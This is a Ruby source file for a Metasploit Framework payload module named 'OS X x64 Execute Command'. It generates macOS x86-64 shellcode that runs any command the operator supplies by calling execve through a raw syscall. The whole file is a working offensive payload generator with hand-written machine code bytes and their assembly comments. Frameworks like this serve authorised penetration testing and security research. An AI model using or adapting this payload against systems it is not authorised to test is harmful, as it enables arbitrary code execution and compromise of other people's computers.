1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 31
8

9
  include Msf::Payload::Single
10

11
  def initialize(info = {})
12
    super(
13
      merge_info(
14
        info,
15
        'Name' => 'OS X x64 Execute Command',
16
        'Description' => 'Execute an arbitrary command',
17
        'Author' => [
18
          'argp <argp[at]census-labs.com>',
19
          'joev'
20
        ],
21
        'License' => MSF_LICENSE,
22
        'Platform' => 'osx',
23
        'Arch' => ARCH_X64
24
      )
25
    )
26

27
    # exec payload options
28
    register_options([
29
      OptString.new('CMD', [ true, 'The command string to execute' ])
30
    ])
31
  end
32

33
  # build the shellcode payload dynamically based on the user-provided CMD
34
  def generate(_opts = {})
35
    cmd_str = datastore['CMD'] || ''
36
    # Split the cmd string into arg chunks
37
    cmd_parts = Shellwords.shellsplit(cmd_str)
38
    cmd_parts = ([cmd_parts.first] + (cmd_parts[1..] || []).reverse).compact
39
    arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
40
    call = "\xe8" + [arg_str.length].pack('V')
41
    "\x48\x31\xd2"+ # xor rdx, rdx
42
      call + # call CMD.len
43
      arg_str + # CMD
44
      "\x5f" + # pop rdi
45
      if cmd_parts.length > 1
46
        "\x48\x89\xf9" +                            # mov rcx, rdi
47
        "\x52" +                                    # push rdx (null)
48
        # for each arg, push its current memory location on to the stack
49
        cmd_parts[1..].each_with_index.map do |_arg, idx|
50
          "\x48\x81\xc1" + # add rcx + ...
51
            [cmd_parts[idx].length + 1].pack('V') +
52
            "\x51" # push rcx (build str array)
53
        end.join
54
      else
55
        "\x52" # push rdx (null)
56
      end +
57
      "\x57"+                                         # push rdi
58
      "\x48\x89\xe6"+	                                # mov rsi, rsp
59
      "\x48\xc7\xc0\x3b\x00\x00\x02" +                # mov rax, 0x200003b (execve)
60
      "\x0f\x05"                                      # syscall
61
  end
62
end
63

64